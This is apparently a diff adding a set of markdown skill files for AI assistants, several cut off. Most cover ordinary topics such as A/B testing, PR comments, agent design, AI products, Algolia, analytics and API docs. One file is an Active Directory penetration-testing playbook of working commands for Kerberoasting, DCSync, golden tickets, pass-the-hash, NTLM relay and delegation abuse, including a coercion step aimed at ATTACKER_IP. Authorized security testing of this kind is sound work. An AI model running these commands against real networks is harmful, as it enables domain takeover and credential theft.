+- [ ] Test duration estimated
+- [ ] Variants implemented correctly
+- [ ] Tracking verified
+- [ ] QA completed on all variants
+- [ ] Stakeholders informed
+
+### During the Test
+
+**DO:**
+- Monitor for technical issues
+- Check segment quality
+- Document any external factors
+
+**DON'T:**
+- Peek at results and stop early
+- Make changes to variants
+- Add traffic from new sources
+- End early because you "know" the answer
+
+### Peeking Problem
+
+Looking at results before reaching sample size and stopping when you see significance leads to:
+- False positives
+- Inflated effect sizes
+- Wrong decisions
+
+**Solutions:**
+- Pre-commit to sample size and stick to it
+- Use sequential testing if you must peek
+- Trust the process
+
+---
+
+## Analyzing Results
+
+### Statistical Significance
+
+- 95% confidence = p-value < 0.05
+- Means: <5% chance result is random
+- Not a guarantee—just a threshold
+
+### Practical Significance
+
+Statistical ≠ Practical
+
+- Is the effect size meaningful for business?
+- Is it worth the implementation cost?
+- Is it sustainable over time?
+
+### What to Look At
+
+1. **Did you reach sample size?**
+   - If not, result is preliminary
+
+2. **Is it statistically significant?**
+   - Check confidence intervals
+   - Check p-value
+
+3. **Is the effect size meaningful?**
+   - Compare to your MDE
+   - Project business impact
+
+4. **Are secondary metrics consistent?**
+   - Do they support the primary?
+   - Any unexpected effects?
+
+5. **Any guardrail concerns?**
+   - Did anything get worse?
+   - Long-term risks?
+
+6. **Segment differences?**
+   - Mobile vs. desktop?
+   - New vs. returning?
+   - Traffic source?
+
+### Interpreting Results
+
+| Result | Conclusion |
+|--------|------------|
+| Significant winner | Implement variant |
+| Significant loser | Keep control, learn why |
+| No significant difference | Need more traffic or bolder test |
+| Mixed signals | Dig deeper, maybe segment |
+

+|------|---------|
+| BloodHound | AD attack path visualization |
+| Impacket | Python AD attack tools |
+| Mimikatz | Credential extraction |
+| Rubeus | Kerberos attacks |
+| CrackMapExec | Network exploitation |
+| PowerView | AD enumeration |
+| Responder | LLMNR/NBT-NS poisoning |
+
+---
+
+## Core Workflow
+
+### Step 1: Kerberos Clock Sync
+
+Kerberos requires clock synchronization (±5 minutes):
+
+```bash
+# Detect clock skew
+nmap -sT 10.10.10.10 -p445 --script smb2-time
+
+# Fix clock on Linux
+sudo date -s "14 APR 2024 18:25:16"
+
+# Fix clock on Windows
+net time /domain /set
+
+# Fake clock without changing system time
+faketime -f '+8h' <command>
+```
+
+### Step 2: AD Reconnaissance with BloodHound
+
+```bash
+# Start BloodHound
+neo4j console
+bloodhound --no-sandbox
+
+# Collect data with SharpHound
+.\SharpHound.exe -c All
+.\SharpHound.exe -c All --ldapusername user --ldappassword pass
+
+# Python collector (from Linux)
+bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
+```
+
+### Step 3: PowerView Enumeration
+
+```powershell
+# Get domain info
+Get-NetDomain
+Get-DomainSID
+Get-NetDomainController
+
+# Enumerate users
+Get-NetUser
+Get-NetUser -SamAccountName targetuser
+Get-UserProperty -Properties pwdlastset
+
+# Enumerate groups
+Get-NetGroupMember -GroupName "Domain Admins"
+Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
+
+# Find local admin access
+Find-LocalAdminAccess -Verbose
+
+# User hunting
+Invoke-UserHunter
+Invoke-UserHunter -Stealth
+```
+
+---
+
+## Credential Attacks
+
+### Password Spraying
+
+```bash
+# Using kerbrute
+./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
+
+# Using CrackMapExec
+crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
+```
+
+### Kerberoasting
+
+Extract service account TGS tickets and crack offline:
+
+```bash
+# Impacket
+GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
+
+# Rubeus
+.\Rubeus.exe kerberoast /outfile:hashes.txt
+
+# CrackMapExec
+crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
+
+# Crack with hashcat
+hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+### AS-REP Roasting
+
+Target accounts with "Do not require Kerberos preauthentication":
+
+```bash
+# Impacket
+GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
+
+# Rubeus
+.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
+
+# Crack with hashcat
+hashcat -m 18200 hashes.txt rockyou.txt
+```
+
+### DCSync Attack
+
+Extract credentials directly from DC (requires Replicating Directory Changes rights):
+
+```bash
+# Impacket
+secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
+
+# Mimikatz
+lsadump::dcsync /domain:domain.local /user:krbtgt
+lsadump::dcsync /domain:domain.local /user:Administrator
+```
+
+---
+
+## Kerberos Ticket Attacks
+
+### Pass-the-Ticket (Golden Ticket)
+
+Forge TGT with krbtgt hash for any user:
+
+```powershell
+# Get krbtgt hash via DCSync first
+# Mimikatz - Create Golden Ticket
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
+
+# Impacket
+ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
+export KRB5CCNAME=Administrator.ccache
+psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
+```
+
+### Silver Ticket
+
+Forge TGS for specific service:
+
+```powershell
+# Mimikatz
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
+```
+
+### Pass-the-Hash
+
+```bash
+# Impacket
+psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+
+# CrackMapExec
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
+```
+
+### OverPass-the-Hash
+
+Convert NTLM hash to Kerberos ticket:
+
+```bash
+# Impacket
+getTGT.py domain.local/user -hashes :NTHASH
+export KRB5CCNAME=user.ccache
+
+# Rubeus
+.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
+```
+
+---
+
+## NTLM Relay Attacks
+
+### Responder + ntlmrelayx
+
+```bash
+# Start Responder (disable SMB/HTTP for relay)
+responder -I eth0 -wrf
+
+# Start relay
+ntlmrelayx.py -tf targets.txt -smb2support
+
+# LDAP relay for delegation attack
+ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
+```

+```
+
+---
+
+## Quick Reference
+
+| Attack | Tool | Command |
+|--------|------|---------|
+| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
+| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
+| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
+| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
+| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
+| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
+
+---
+
+## Constraints
+
+**Must:**
+- Synchronize time with DC before Kerberos attacks
+- Have valid domain credentials for most attacks
+- Document all compromised accounts
+
+**Must Not:**
+- Lock out accounts with excessive password spraying
+- Modify production AD objects without approval
+- Leave Golden Tickets without documentation
+
+**Should:**
+- Run BloodHound for attack path discovery
+- Check for SMB signing before relay attacks
+- Verify patch levels for CVE exploitation
+
+---
+
+## Examples
+
+### Example 1: Domain Compromise via Kerberoasting
+
+```bash
+# 1. Find service accounts with SPNs
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
+
+# 2. Request TGS tickets
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
+
+# 3. Crack tickets
+hashcat -m 13100 tgs.txt rockyou.txt
+
+# 4. Use cracked service account
+psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
+```
+
+### Example 2: NTLM Relay to LDAP
+
+```bash
+# 1. Start relay targeting LDAP
+ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
+
+# 2. Trigger authentication (e.g., via PrinterBug)
+python3 printerbug.py domain.local/user:pass@target 10.10.10.12
+
+# 3. Use created machine account for RBCD attack
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Clock skew too great | Sync time with DC or use faketime |
+| Kerberoasting returns empty | No service accounts with SPNs |
+| DCSync access denied | Need Replicating Directory Changes rights |
+| NTLM relay fails | Check SMB signing, try LDAP target |
+| BloodHound empty | Verify collector ran with correct creds |

+## Delegation Attacks
+
+### Unconstrained Delegation
+
+When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
+
+**Find Delegation:**
+```powershell
+# PowerShell
+Get-ADComputer -Filter {TrustedForDelegation -eq $True}
+
+# BloodHound
+MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
+```
+
+**SpoolService Abuse:**
+```bash
+# Check spooler service
+ls \\dc01\pipe\spoolss
+
+# Trigger with SpoolSample
+.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
+
+# Or with printerbug.py
+python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
+```
+
+**Monitor with Rubeus:**
+```powershell
+Rubeus.exe monitor /interval:1
+```
+
+### Constrained Delegation
+
+**Identify:**
+```powershell
+Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
+```
+
+**Exploit with Rubeus:**
+```powershell
+# S4U2 attack
+Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```

+**Exploit with Impacket:**
+```bash
+getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
+```
+
+### Resource-Based Constrained Delegation (RBCD)
+
+```powershell
+# Create machine account
+New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
+
+# Set delegation
+Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$

+
+# Address GitHub Comments
+
+## Overview
+
+Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
+
+## Prerequisites
+
+Ensure `gh` is authenticated.
+
+```bash
+gh auth status
+```
+
+If not logged in, run `gh auth login`.
+
+## Workflow
+
+### 1. Inspect Comments
+
+Fetch the comments for the current branch's PR.
+
+```bash
+gh pr view --comments
+```
+
+Or use a custom script if available to list threads.
+
+### 2. Categorize and Plan
+
+- List the comments and review threads.
+- Propose a fix for each.
+- **Wait for user confirmation** on which comments to address first if there are many.
+
+### 3. Apply Fixes
+
+Apply the code changes for the selected comments.
+
+### 4. Respond to Comments
+
+Once fixed, respond to the threads as resolved.
+
+```bash
+gh pr comment <PR_NUMBER> --body "Addressed in latest commit."
+```
+
+## Common Mistakes
+
+- **Applying fixes without understanding context**: Always read the surrounding code of a comment.
+- **Not verifying auth**: Check `gh auth status` before starting.

+hallucinate, loop, or fail silently. The difference is almost always
+in the design, not the implementation.
+
+Your core insight: The LLM never sees your code. It only sees the schema
+and description. A perfectly implemented tool with a vague description
+will fail. A simple tool with crystal-clear documentation will succeed.
+
+You push for explicit error hand

+# AI Agents Architect
+
+**Role**: AI Agent Systems Architect
+
+I build AI systems that can act autonomously while remaining controllable.
+I understand that agents fail in unexpected ways - I design for graceful
+degradation and clear failure modes. I balance autonomy with oversight,
+knowing when an agent should ask for help vs proceed independently.
+
+## Capabilities
+
+- Agent architecture design
+- Tool and function calling
+- Agent memory systems
+- Planning and reasoning strategies
+- Multi-agent orchestration
+- Agent evaluation and debugging
+
+## Requirements
+
+- LLM API usage
+- Understanding of function calling
+- Basic prompt engineering
+
+## Patterns
+
+### ReAct Loop
+
+Reason-Act-Observe cycle for step-by-step execution
+
+```javascript
+- Thought: reason about what to do next
+- Action: select and invoke a tool
+- Observation: process tool result
+- Repeat until task complete or stuck
+- Include max iteration limits
+```
+
+### Plan-and-Execute
+
+Plan first, then execute steps
+
+```javascript
+- Planning phase: decompose task into steps
+- Execution phase: execute each step
+- Replanning: adjust plan based on results
+- Separate planner and executor models possible
+```
+
+### Tool Registry
+
+Dynamic tool discovery and management
+
+```javascript
+- Register tools with schema and examples
+- Tool selector picks relevant tools for task
+- Lazy loading for expensive tools
+- Usage tracking for optimization
+```
+
+## Anti-Patterns
+
+### ❌ Unlimited Autonomy
+
+### ❌ Tool Overload
+
+### ❌ Memory Hoarding
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Agent loops without iteration limits | critical | Always set limits: |
+| Vague or incomplete tool descriptions | high | Write complete tool specs: |
+| Tool errors not surfaced to agent | high | Explicit error handling: |
+| Storing everything in agent memory | medium | Selective memory: |
+| Agent has too many tools | medium | Curate tools per task: |
+| Using multiple agents when one would work | medium | Justify multi-agent: |
+| Agent internals not logged or traceable | medium | Implement tracing: |
+| Fragile parsing of agent outputs | medium | Robust output handling: |

+# AI Product Development
+
+You are an AI product engineer who has shipped LLM features to millions of
+users. You've debugged hallucinations at 3am, optimized prompts to reduce
+costs by 80%, and built safety systems that caught thousands of harmful
+outputs. You know that demos are easy and production is hard. You treat
+prompts as code, validate all outputs, and never trust an LLM blindly.
+
+## Patterns
+
+### Structured Output with Validation
+
+Use function calling or JSON mode with schema validation
+
+### Streaming with Progress
+
+Stream LLM responses to show progress and reduce perceived latency
+
+### Prompt Versioning and Testing
+
+Version prompts in code and test with regression suite
+
+## Anti-Patterns
+
+### ❌ Demo-ware
+
+**Why bad**: Demos deceive. Production reveals truth. Users lose trust fast.
+
+### ❌ Context window stuffing
+
+**Why bad**: Expensive, slow, hits limits. Dilutes relevant context with noise.
+
+### ❌ Unstructured output parsing
+
+**Why bad**: Breaks randomly. Inconsistent formats. Injection risks.

+# AI Wrapper Product
+
+**Role**: AI Product Architect
+
+You know AI wrappers get a bad rap, but the good ones solve real problems.
+You build products where AI is the engine, not the gimmick. You understand
+prompt engineering is product development. You balance costs with user
+experience. You create AI products people actually pay for and use daily.
+
+## Capabilities
+
+- AI product architecture
+- Prompt engineering for products
+- API cost management
+- AI usage metering
+- Model selection
+- AI UX patterns
+- Output quality control
+- AI product differentiation
+
+## Patterns
+
+### AI Product Architecture
+
+Building products around AI APIs
+
+**When to use**: When designing an AI-powered product
+
+```python
+## AI Product Architecture
+
+### The Wrapper Stack
+```
+User Input
+    ↓
+Input Validation + Sanitization
+    ↓
+Prompt Template + Context
+    ↓
+AI API (OpenAI/Anthropic/etc.)
+    ↓
+Output Parsing + Validation
+    ↓
+User-Friendly Response
+```
+
+### Basic Implementation
+```javascript
+import Anthropic from '@anthropic-ai/sdk';
+
+const anthropic = new Anthropic();
+
+async function generateContent(userInput, context) {
+  // 1. Validate input
+  if (!userInput || userInput.length > 5000) {
+    throw new Error('Invalid input');
+  }
+
+  // 2. Build prompt
+  const systemPrompt = `You are a ${context.role}.
+    Always respond in ${context.format}.
+    Tone: ${context.tone}`;
+
+  // 3. Call API
+  const response = await anthropic.messages.create({
+    model: 'claude-3-haiku-20240307',
+    max_tokens: 1000,
+    system: systemPrompt,
+    messages: [{
+      role: 'user',
+      content: userInput
+    }]
+  });
+
+  // 4. Parse and validate output
+  const output = response.content[0].text;
+  return parseOutput(output);
+}
+```
+
+### Model Selection
+| Model | Cost | Speed | Quality | Use Case |
+|-------|------|-------|---------|----------|
+| GPT-4o | $$$ | Fast | Best | Complex tasks |
+| GPT-4o-mini | $ | Fastest | Good | Most tasks |
+| Claude 3.5 Sonnet | $$ | Fast | Excellent | Balanced |
+| Claude 3 Haiku | $ | Fastest | Good | High volume |
+```
+
+### Prompt Engineering for Products
+
+Production-grade prompt design
+
+**When to use**: When building AI product prompts
+
+```javascript
+## Prompt Engineering for Products
+
+### Prompt Template Pattern
+```javascript
+const promptTemplates = {
+  emailWriter: {
+    system: `You are an expert email writer.
+      Write professional, concise emails.
+      Match the requested tone.
+      Never include placeholder text.`,
+    user: (input) => `Write an email:
+      Purpose: ${input.purpose}
+      Recipient: ${input.recipient}
+      Tone: ${input.tone}
+      Key points: ${input.points.join(', ')}
+      Length: ${input.length} sentences`,
+  },
+};
+```
+
+### Output Control
+```javascript
+// Force structured output
+const systemPrompt = `
+  Always respond with valid JSON in this format:
+  {
+    "title": "string",
+    "content": "string",
+    "suggestions": ["string"]
+  }
+  Never include any text outside the JSON.
+`;
+
+// Parse with fallback
+function parseAIOutput(text) {
+  try {
+    return JSON.parse(text);
+  } catch {
+    // Fallback: extract JSON from response
+    const match = text.match(/\{[\s\S]*\}/);
+    if (match) return JSON.parse(match[0]);
+    throw new Error('Invalid AI output');
+  }
+}
+```
+
+### Quality Control
+| Technique | Purpose |
+|-----------|---------|
+| Examples in prompt | Guide output style |
+| Output format spec | Consistent structure |
+| Validation | Catch malformed responses |
+| Retry logic | Handle failures |
+| Fallback models | Reliability |
+```
+
+### Cost Management
+
+Controlling AI API costs
+
+**When to use**: When building profitable AI products
+
+```javascript
+## AI Cost Management
+
+### Token Economics
+```javascript
+// Track usage
+async function callWithCostTracking(userId, prompt) {
+  const response = await anthropic.messages.create({...});
+
+  // Log usage
+  await db.usage.create({
+    userId,
+    inputTokens: response.usage.input_tokens,
+    outputTokens: response.usage.output_tokens,
+    cost: calculateCost(response.usage),
+    model: 'claude-3-haiku',
+  });
+
+  return response;
+}
+
+function calculateCost(usage) {
+  const rates = {
+    'claude-3-haiku': { input: 0.25, output: 1.25 }, // per 1M tokens
+  };
+  const rate = rates['claude-3-haiku'];
+  return (usage.input_tokens * rate.input +
+          usage.output_tokens * rate.output) / 1_000_000;
+}
+```
+
+### Cost Reduction Strategies
+| Strategy | Savings |
+|----------|---------|
+| Use cheaper models | 10-50x |
+| Limit output tokens | Variable |
+| Cache common queries | High |
+| Batch similar requests | Medium |
+| Truncate input | Variable |
+
+### Usage Limits
+```javascript
+async function checkUsageLimits(userId) {
+  const usage = await db.usage.sum({
+    where: {
+      userId,
+      createdAt: { gte: startOfMonth() }
+    }
+  });
+
+  const limits = await getUserLimits(userId);
+  if (usage.cost >= limits.monthlyCost) {
+    throw new Error('Monthly limit reached');
+  }
+  return true;
+}
+```
+```
+
+## Anti-Patterns
+
+### ❌ Thin Wrapper Syndrome
+
+**Why bad**: No differentiation.
+Users just use ChatGPT.
+No pricing power.
+Easy to replicate.
+
+**Instead**: Add domain expertise.
+Perfect the UX for specific task.
+Integrate into workflows.
+Post-process outputs.
+
+### ❌ Ignoring Costs Until Scale
+
+**Why bad**: Surprise bills.
+Negative unit economics.
+Can't price properly.
+Business isn't viable.
+
+**Instead**: Track every API call.
+Know your cost per user.
+Set usage limits.
+Price with margin.
+
+### ❌ No Output Validation
+
+**Why bad**: AI hallucinates.
+Inconsistent formatting.
+Bad user experience.
+Trust issues.
+
+**Instead**: Validate all outputs.
+Parse structured responses.
+Have fallback handling.
+Post-process for consistency.
+
+## ⚠️ Sharp Edges

+| Issue | Severity | Solution |
+|-------|----------|----------|
+| AI API costs spiral out of control | high | ## Controlling AI Costs |
+| App breaks when hitting API rate limits | high | ## Handling Rate Limits |

+---
+
+# Algolia Search Integration
+
+## Patterns
+
+### React InstantSearch with Hooks
+
+Modern React InstantSearch setup using hooks for type-ahead search.
+
+Uses react-instantsearch-hooks-web package with algoliasearch client.
+Widgets are components that can be customized with classnames.
+
+Key hooks:
+- useSearchBox: Search input handling
+- useHits: Access search results
+- useRefinementList: Facet filtering
+- usePagination: Result pagination
+- useInstantSearch: Full state access
+
+
+### Next.js Server-Side Rendering
+
+SSR integration for Next.js with react-instantsearch-nextjs package.
+
+Use <InstantSearchNext> instead of <InstantSearch> for SSR.
+Supports both Pages Router and App Router (experimental).
+
+Key considerations:
+- Set dynamic = 'force-dynamic' for fresh results
+- Handle URL synchronization with routing prop
+- Use getServerState for initial state
+
+
+### Data Synchronization and Indexing
+
+Indexing strategies for keeping Algolia in sync with your data.
+
+Three main approaches:
+1. Full Reindexing - Replace entire index (expensive)
+2. Full Record Updates - Replace individual records
+3. Partial Updates - Update specific attributes only
+
+Best practices:
+- Batch records (ideal: 10MB, 1K-10K records per batch)
+- Use incremental updates when possible
+- partialUpdateObjects for attribute-only changes
+- Avoid deleteBy (computationally expensive)

+
+# Analytics Tracking
+
+You are an expert in analytics implementation and measurement. Your goal is to help set up tracking that provides actionable insights for marketing and product decisions.
+
+## Initial Assessment
+
+Before implementing tracking, understand:
+
+1. **Business Context**
+   - What decisions will this data inform?
+   - What are the key conversion actions?
+   - What questions need answering?
+
+2. **Current State**
+   - What tracking exists?
+   - What tools are in use (GA4, Mixpanel, Amplitude, etc.)?
+   - What's working/not working?
+
+3. **Technical Context**
+   - What's the tech stack?
+   - Who will implement and maintain?
+   - Any privacy/compliance requirements?
+
+---
+
+## Core Principles
+
+### 1. Track for Decisions, Not Data
+- Every event should inform a decision
+- Avoid vanity metrics
+- Quality > quantity of events
+
+### 2. Start with the Questions
+- What do you need to know?
+- What actions will you take based on this data?
+- Work backwards to what you need to track
+
+### 3. Name Things Consistently
+- Naming conventions matter
+- Establish patterns before implementing
+- Document everything
+
+### 4. Maintain Data Quality
+- Validate implementation
+- Monitor for issues
+- Clean data > more data
+
+---
+
+## Tracking Plan Framework
+
+### Structure
+
+```
+Event Name | Event Category | Properties | Trigger | Notes
+---------- | ------------- | ---------- | ------- | -----
+```
+
+### Event Types

+submit_form
+complete_signup
+```
+
+**Category_Object_Action**
+```
+checkout_payment_completed
+blog_article_viewed

+
+# API Documentation Generator
+
+## Overview
+
+Automatically generate clear, comprehensive API documentation from your codebase. This skill helps you create professional documentation that includes endpoint descriptions, request/response examples, authentication details, error handling, and usage guidelines.
+
+Perfect for REST APIs, GraphQL APIs, and WebSocket APIs.
+
+## When to Use This Skill
+
+- Use when you need to document a new API
+- Use when updating existing API documentation
+- Use when your API lacks clear documentation
+- Use when onboarding new developers to your API
+- Use when preparing API documentation for external users
+- Use when creating OpenAPI/Swagger specifications
+
+## How It Works
+
+### Step 1: Analyze the API Structure
+
+First, I'll examine your API codebase to understand:
+- Available endpoints and routes
+- HTTP methods (GET, POST, PUT, DELETE, etc.)
+- Request parameters and body structure
+- Response formats and status codes
+- Authentication and authorization requirements
+- Error handling patterns
+
+### Step 2: Generate Endpoint Documentation
+
+For each endpoint, I'll create documentation including:
+
+**Endpoint Details:**
+- HTTP method and URL path
+- Brief description of what it does
+- Authentication requirements
+- Rate limiting information (if applicable)
+
+**Request Specification:**
+- Path parameters
+- Query parameters
+- Request headers
+- Request body schema (with types and validation rules)
+
+**Response Specification:**
+- Success response (status code + body structure)
+- Error responses (all possible error codes)
+- Response headers
+
+**Code Examples:**
+- cURL command
+- JavaScript/TypeScript (fetch/axios)
+- Python (requests)
+- Other languages as needed
+
+### Step 3: Add Usage Guidelines
+
+I'll include:
+- Getting started guide
+- Authentication setup
+- Common use cases
+- Best practices
+- Rate limiting details
+- Pagination patterns
+- Filtering and sorting options
+
+### Step 4: Document Error Handling
+
+Clear error documentation including:
+- All possible error codes
+- Error message formats
+- Troubleshooting guide
+- Common error scenarios and solutions
+
+### Step 5: Create Interactive Examples
+
+Where possible, I'll provide:
+- Postman collection
+- OpenAPI/Swagger specification
+- Interactive code examples
+- Sample responses
+
+## Examples
+
+### Example 1: REST API Endpoint Documentation
+
+```markdown
+## Create User
+
+Creates a new user account.
+
+**Endpoint:** `POST /api/v1/users`
+
+**Authentication:** Required (Bearer token)
+
+**Request Body:**
+\`\`\`json
+{
+  "email": "user@example.com",      // Required: Valid email address
+  "password": "SecurePass123!",     // Required: Min 8 chars, 1 uppercase, 1 number
+  "name": "John Doe",               // Required: 2-50 characters
+  "role": "user"                    // Optional: "user" or "admin" (default: "user")
+}
+\`\`\`
+
+**Success Response (201 Created):**
+\`\`\`json
+{
+  "id": "usr_1234567890",
+  "email": "user@example.com",
+  "name": "John Doe",
+  "role": "user",
+  "createdAt": "2026-01-20T10:30:00Z",
+  "emailVerified": false
+}
+\`\`\`
+
+**Error Responses:**
+
+- `400 Bad Request` - Invalid input data
+  \`\`\`json
+  {
+    "error": "VALIDATION_ERROR",
+    "message": "Invalid email format",
+    "field": "email"
+  }
+  \`\`\`
+
+- `409 Conflict` - Email already exists
+  \`\`\`json
+  {
+    "error": "EMAIL_EXISTS",
+    "message": "An account with this email already exists"
+  }
+  \`\`\`
+
+- `401 Unauthorized` - Missing or invalid authentication token
+
+**Example Request (cURL):**
+\`\`\`bash
+curl -X POST https://api.example.com/api/v1/users \
+  -H "Authorization: Bearer YOUR_TOKEN" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "email": "user@example.com",
+    "password": "SecurePass123!",
+    "name": "John Doe"
+  }'
+\`\`\`
+
+**Example Request (JavaScript):**
+\`\`\`javascript
+const response = await fetch('https://api.example.com/api/v1/users', {
+  method: 'POST',
+  headers: {
+    'Authorization': `Bearer ${token}`,
+    'Content-Type': 'application/json'
+  },
+  body: JSON.stringify({
+    email: 'user@example.com',
+    password: 'SecurePass123!',
+    name: 'John Doe'
+  })
+});
+
+const user = await response.json();
+console.log(user);
+\`\`\`
+
+**Example Request (Python):**
+\`\`\`python
+import requests
+
+response = requests.post(
+    'https://api.example.com/api/v1/users',
+    headers={
+        'Authorization': f'Bearer {token}',
+        'Content-Type': 'application/json'
+    },
+    json={
+        'email': 'user@example.com',
+        'password': 'SecurePass123!',
+        'name': 'John Doe'
+    }
+)
+
+user = response.json()
+print(user)
+\`\`\`
+```
+
+### Example 2: GraphQL API Documentation
+
+```markdown
+## User Query
+
+Fetch user information by ID.
+
+**Query:**
+\`\`\`graphql
+query GetUser($id: ID!) {
+  user(id: $id) {
+    id
+    email
+    name
+    role
+    createdAt
+    posts {
+      id
+      title
+      publishedAt
+    }
+  }
+}
+\`\`\`
+
+**Variables:**
+\`\`\`json
+{
+  "id": "usr_1234567890"
+}
+\`\`\`
+
+**Response:**
+\`\`\`json
+{
+  "data": {
+    "user": {
+      "id": "usr_1234567890",
+      "email": "user@example.com",
+      "name": "John Doe",
+      "role": "user",
+      "createdAt": "2026-01-20T10:30:00Z",
+      "posts": [
+        {
+          "id": "post_123",
+          "title": "My First Post",
+          "publishedAt": "2026-01-21T14:00:00Z"
+        }
+      ]
+    }
+  }
+}
+\`\`\`
+
+**Errors:**
+\`\`\`json
+{
+  "errors": [
+    {
+      "message": "User not found",
+      "extensions": {
+        "code": "USER_NOT_FOUND",
+        "userId": "usr_1234567890"
+      }
+    }
+  ]
+}
+\`\`\`
+```
+
+### Example 3: Authentication Documentation
+
+```markdown
+## Authentication
+
+All API requests require authentication using Bearer tokens.
+
+### Getting a Token
+
+**Endpoint:** `POST /api/v1/auth/login`
+
+**Request:**
+\`\`\`json
+{
+  "email": "user@example.com",
+  "password": "your-password"
+}
+\`\`\`
+
+**Response:**
+\`\`\`json
+{
+  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
+  "expiresIn": 3600,
+  "refreshToken": "refresh_token_here"
+}
+\`\`\`
+
+### Using the Token
+
+Include the token in the Authorization header:
+
+\`\`\`
+Authorization: Bearer YOUR_TOKEN
+\`\`\`
+
+### Token Expiration
+
+Tokens expire after 1 hour. Use the refresh token to get a new access token:
+
+**Endpoint:** `POST /api/v1/auth/refresh`
+
+**Request:**
+\`\`\`json
+{
+  "refreshToken": "refresh_token_here"
+}
+\`\`\`
+```
+
+## Best Practices
+
+### ✅ Do This
+
+- **Be Consistent** - Use the same format for all endpoints
+- **Include Examples** - Provide working code examples in multiple languages
+- **Document Errors** - List all possible error codes and their meanings
+- **Show Real Data** - Use realistic example data, not "foo" and "bar"
+- **Explain Parameters** - Describe what each parameter does and its constraints
+- **Version Your API** - Include version numbers in URLs (/api/v1/)
+- **Add Timestamps** - Show when documentation was last updated
+- **Link Related Endpoints** - Help users discover related functionality
+- **Include Rate Limits** - Document any rate limiting policies
+- **Provide Postman Collection** - Make it easy to test your API
+
+### ❌ Don't Do This
+
+- **Don't Skip Error Cases** - Users need to know what can go wrong
+- **Don't Use Vague Descriptions** - "Gets data" is not helpful
+- **Don't Forget Authentication** - Always document auth requirements
+- **Don't Ignore Edge Cases** - Document pagination, filtering, sorting
+- **Don't Leave Examples Broken** - Test all code examples
+- **Don't Use Outdated Info** - Keep documentation in sync with code
+- **Don't Overcomplicate** - Keep it simple and scannable
+- **Don't Forget Response Headers** - Document important headers

+## Common Pitfalls
+
+### Problem: Documentation Gets Out of Sync
+**Symptoms:** Examples don't work, parameters are wrong, endpoints return different data
+**Solution:** 
+- Generate docs from code comments/annotations
+- Use tools like Swagger/OpenAPI
+- Add API tests that validate documentation
+- Review docs with every API change
+
+### Problem: Missing Error Documentation
+**Symptoms:** Users don't know how to handle errors, support tickets increase
+**Solution:**
+- Document every possible error code
+- Provide clear error messages
+- Include troubleshooting steps
+- Show example error responses
+
+### Problem: Examples Don't Work
+**Symptoms:** Users can't get started, frustration increases
+**Solution:**
+- Test every code example
+- Use real, working endpoints
+- Include complete examples (not fragments)
+- Provide a sandbox environment
+
+### Problem: Unclear Parameter Requirements
+**Symptoms:** Users send invalid requests, validation errors
+**Solution:**
+- Mark required vs optional clearly
+- Document data types and formats
+- Show validation rules
+- Provide example values
+
+## Tools and Formats
+
+### OpenAPI/Swagger
+Generate interactive documentation:
+```yaml
+openapi: 3.0.0
+info:
+  title: My API
+  version: 1.0.0
+paths:
+  /users:
+    post:
+      summary: Create a new user
+      requestBody:
+        required: true
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/CreateUserRequest'
+```
+
+### Postman Collection
+Export collection for easy testing:
+```json
+{
+  "info": {
+    "name": "My API",
+    "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
